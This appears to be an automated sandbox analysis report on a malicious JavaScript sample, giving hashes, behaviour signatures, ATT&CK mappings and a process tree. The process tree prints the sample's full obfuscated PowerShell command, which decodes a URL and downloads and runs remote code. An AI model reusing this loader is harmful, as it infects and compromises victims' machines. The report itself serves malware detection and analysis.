9f387beac4806963e20567121996e2275d4c5b53d7200466d1ce4a918edfc8a8

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 14:58

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General

Target

411e6b52b9aed07875c0938c44dd3e2139d998a018ea48c0d92d820c7ab377cd.js
Size

180KB
MD5

d55b433aad1a0db88629f7e4729d74a1
SHA1

70797175d65e80e9adb2d8999a144f31511a7a35
SHA256

411e6b52b9aed07875c0938c44dd3e2139d998a018ea48c0d92d820c7ab377cd
SHA512

1bf71522a486e6cae023b45e5c28e151bf93e672af48117717154b2e8d2e7a1de250932776bbfade5ee140c78704e53d61dfc4e64c59bfaa91af6c63b8b875a1
SSDEEP

1536:nwY/0nBMSz0j4nnPDCu25s78yRzCU5qqPRILBMSz0j4nnPDCu25sO8yRzCU5qqPU:nfSNnR4yVSNnR/yjyVSNnRTSNnRj

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1128	1924	conhost.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	2088	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2088	powershell.exe
2088	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2088	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1128 wrote to memory of 2088	1128	conhost.exe	84
PID 1128 wrote to memory of 2088	1128	conhost.exe	84

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\411e6b52b9aed07875c0938c44dd3e2139d998a018ea48c0d92d820c7ab377cd.js
1⤵
PID:1648

C:\Windows\system32\conhost.exe
conhost --headless powershell $xugcqsoyrdafi='ur' ;new-alias printout c$($xugcqsoyrdafi)l;$emqohncr=(9134,9145,9153,9137,9139,9134,9154,9153,9158,9091,9153,9087,9134,9082,9152,9147,9148,9083,9085,9082,9148,9140,9148,9099,9151,9097,9145,9141,9146,9152,9151,9086,9085);$rcwoxynvjblq=('bronx','get-cmdlet');$nerlxhqucasmip=$emqohncr;foreach($iawjenp in $nerlxhqucasmip){$bxqcsjltihayp=$iawjenp;$qbrgiezmxphj=$qbrgiezmxphj+[char]($bxqcsjltihayp-9036);$cilaejxhvonqwb=$qbrgiezmxphj; $xyjzwpsgrifh=$cilaejxhvonqwb};$cxtfruqlzsnpwv[2]=$xyjzwpsgrifh;$zwopeuayq='rl';$kiogfseqn=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xyjzwpsgrifh)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $xugcqsoyrdafi='ur' ;new-alias printout c$($xugcqsoyrdafi)l;$emqohncr=(9134,9145,9153,9137,9139,9134,9154,9153,9158,9091,9153,9087,9134,9082,9152,9147,9148,9083,9085,9082,9148,9140,9148,9099,9151,9097,9145,9141,9146,9152,9151,9086,9085);$rcwoxynvjblq=('bronx','get-cmdlet');$nerlxhqucasmip=$emqohncr;foreach($iawjenp in $nerlxhqucasmip){$bxqcsjltihayp=$iawjenp;$qbrgiezmxphj=$qbrgiezmxphj+[char]($bxqcsjltihayp-9036);$cilaejxhvonqwb=$qbrgiezmxphj; $xyjzwpsgrifh=$cilaejxhvonqwb};$cxtfruqlzsnpwv[2]=$xyjzwpsgrifh;$zwopeuayq='rl';$kiogfseqn=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xyjzwpsgrifh)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pmst01jo.3fb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2088-0-0x00007FFDEF153000-0x00007FFDEF155000-memory.dmp

Filesize
8KB

Download
memory/2088-6-0x000001F6FEE00000-0x000001F6FEE22000-memory.dmp

Filesize
136KB

Download
memory/2088-11-0x00007FFDEF150000-0x00007FFDEFC11000-memory.dmp

Filesize
10.8MB

Download
memory/2088-12-0x00007FFDEF150000-0x00007FFDEFC11000-memory.dmp

Filesize
10.8MB

Download
memory/2088-13-0x00007FFDEF150000-0x00007FFDEFC11000-memory.dmp

Filesize
10.8MB

Download
memory/2088-14-0x00007FFDEF150000-0x00007FFDEFC11000-memory.dmp

Filesize
10.8MB

Download
memory/2088-15-0x00007FFDEF153000-0x00007FFDEF155000-memory.dmp

Filesize
8KB

Download
memory/2088-16-0x00007FFDEF150000-0x00007FFDEFC11000-memory.dmp

Filesize
10.8MB

Download
memory/2088-19-0x00007FFDEF150000-0x00007FFDEFC11000-memory.dmp

Filesize
10.8MB

Download